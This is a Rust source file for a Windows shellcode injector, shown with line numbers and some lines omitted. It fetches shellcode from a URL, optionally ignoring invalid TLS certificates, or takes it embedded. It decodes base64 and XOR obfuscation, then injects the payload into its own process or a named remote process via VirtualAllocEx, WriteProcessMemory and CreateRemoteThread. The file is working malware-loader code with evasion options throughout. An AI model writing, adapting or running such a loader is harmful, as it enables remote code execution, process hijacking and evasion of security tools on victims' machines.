1use core::ffi::c_void;
5use std::ptr;
6use base64::{engine::general_purpose, Engine as _};
10use reqwest::blocking::Client;
11use sysinfo::{PidExt, ProcessExt, System, SystemExt};
12use windows::Win32::{
13 Foundation::{CloseHandle, GetLastError, BOOL, HANDLE, WAIT_EVENT},
14 System::{
15 Diagnostics::Debug::WriteProcessMemory,
16 Memory::{
17 VirtualAllocEx, VirtualProtectEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ,
18 PAGE_PROTECTION_FLAGS, PAGE_READWRITE,
19 },
20 Threading::{
21 CreateRemoteThread, GetCurrentProcess, OpenProcess, WaitForSingleObject, INFINITE,
22 PROCESS_ALL_ACCESS,
23 },
24 },
25};
26
27pub struct Injector {
33 pub shellcode: Vec<u8>,
34}
35
36pub enum InjectorType {
52 Url(String, bool),
53 Base64Url((String, bool, usize)),
54 Embedded(Vec<u8>),
55 Base64Embedded((String, usize)),
56 XorEmbedded((Vec<u8>, Vec<u8>)),
57 XorUrl((String, bool, Vec<u8>)),
58}
59
60pub enum InjectionType {
65 Reflect,
66 Remote(String),
67}
68
69pub unsafe fn write_mem(
78 sc: Vec<u8>,
79 proc_h: HANDLE,
80 base_addr: *mut c_void,
81 wait: bool,
82) -> Result<(), String> {
83 let sc_len = sc.len();
84 let mut n = 0;
85 WriteProcessMemory(proc_h, base_addr, sc.as_ptr() as _, sc_len, Some(&mut n)).unwrap();
86
87 let mut old_protect: PAGE_PROTECTION_FLAGS = PAGE_READWRITE;
88 VirtualProtectEx(
89 proc_h,
90 base_addr,
91 sc_len,
92 PAGE_EXECUTE_READ,
93 &mut old_protect,
94 )
95 .unwrap();
96
97 let h_thread = CreateRemoteThread(
98 proc_h,
99 None,
100 0,
101 Some(std::mem::transmute(base_addr)),
102 None,
103 0,
104 None,
105 )
106 .unwrap();
107
108 CloseHandle(proc_h).unwrap();
109
110 if wait {
111 if WaitForSingleObject(h_thread, INFINITE) == WAIT_EVENT(0) {
112 println!("Good!");
113 println!("Injection completed!");
114 Ok(())
115 } else {
116 let error = GetLastError();
117 println!("{:?}", error);
118 Err("Could not inject!".to_string())
119 }
120 } else {
121 Ok(())
122 }
123}
124
125pub unsafe fn reflective_inject(sc: Vec<u8>, wait: bool) -> Result<(), String> {
133 let h: HANDLE = GetCurrentProcess();
134 let addr = VirtualAllocEx(
135 h,
136 Some(ptr::null_mut()),
137 sc.len(),
138 MEM_COMMIT | MEM_RESERVE,
139 PAGE_READWRITE,
140 );
141
142 write_mem(sc, h, addr, wait)
143}
144
145pub unsafe fn remote_inject(sc: Vec<u8>, wait: bool, process_name: &str) -> Result<(), String> {
155 let sys = System::new_all();
157 let mut process_matches = sys
158 .processes()
159 .iter()
160 .filter(|(&_pid, proc)| proc.name() == process_name);
161
162 match process_matches.next() {
163 Some((pid, _proc)) => {
164 let h: HANDLE =
165 OpenProcess(PROCESS_ALL_ACCESS, BOOL(0), pid.to_owned().as_u32()).unwrap();
166 let addr = VirtualAllocEx(
167 h,
168 Some(ptr::null_mut()),
169 sc.len(),
170 MEM_COMMIT | MEM_RESERVE,
171 PAGE_READWRITE,
172 );
173 write_mem(sc, h, addr, wait)
174 }
175 None => Err("Could not find matching process!".to_string()),
176 }
177}
178
179pub fn download_shellcode(url: &str, ignore_ssl: bool) -> Result<Vec<u8>, String> {
180 println!("Requesting URL: {url}");
181
182 let client_builder = Client::builder();
184 let client = (
185 if ignore_ssl {
186 client_builder.danger_accept_invalid_certs(true)
187 } else {
188 client_builder
189 }
190 )
191 .build()
192 .map_err(|e| format!("Failed to build client: {}", e))?;
193
194 let res = client
196 .get(url)
197 .send()
198 .map_err(|e| format!("Request failed: {}", e))?;
199
200 if res.status().is_success() {
201 let sc: Vec<u8> = res
202 .bytes()
203 .map_err(|e| format!("Failed to read response bytes: {}", e))?
204 .to_vec();
205 Ok(sc)
206 } else {
207 Err("Couldn't connect!".to_string())
208 }
209}
210
211pub fn decode_b64_shellcode(sc: &Vec<u8>, b64_iterations: usize) -> Result<Vec<u8>, String> {
215 let mut shellcode_vec: Vec<u8> = sc.to_vec();
216 for _i in 0..b64_iterations {
217 match general_purpose::STANDARD.decode(shellcode_vec) {
218 Ok(d) => {
219 shellcode_vec = d;
220 }
221 Err(e) => {
222 let err_msg = e.to_string();
223 return Err(err_msg.to_owned());
224 }
225 };
226 }
227 Ok(shellcode_vec)
228}
229
230pub fn decrypt_xor(sc: &Vec<u8>, key: &Vec<u8>) -> Result<Vec<u8>, String> {
234 let mut decrypted = Vec::with_capacity(sc.len());
235 let mut i = 0;
236 while i < sc.len() {
237 decrypted.push(sc[i] ^ key[i % key.len()]);
238 i += 1;
239 }
240 Ok(decrypted)
241}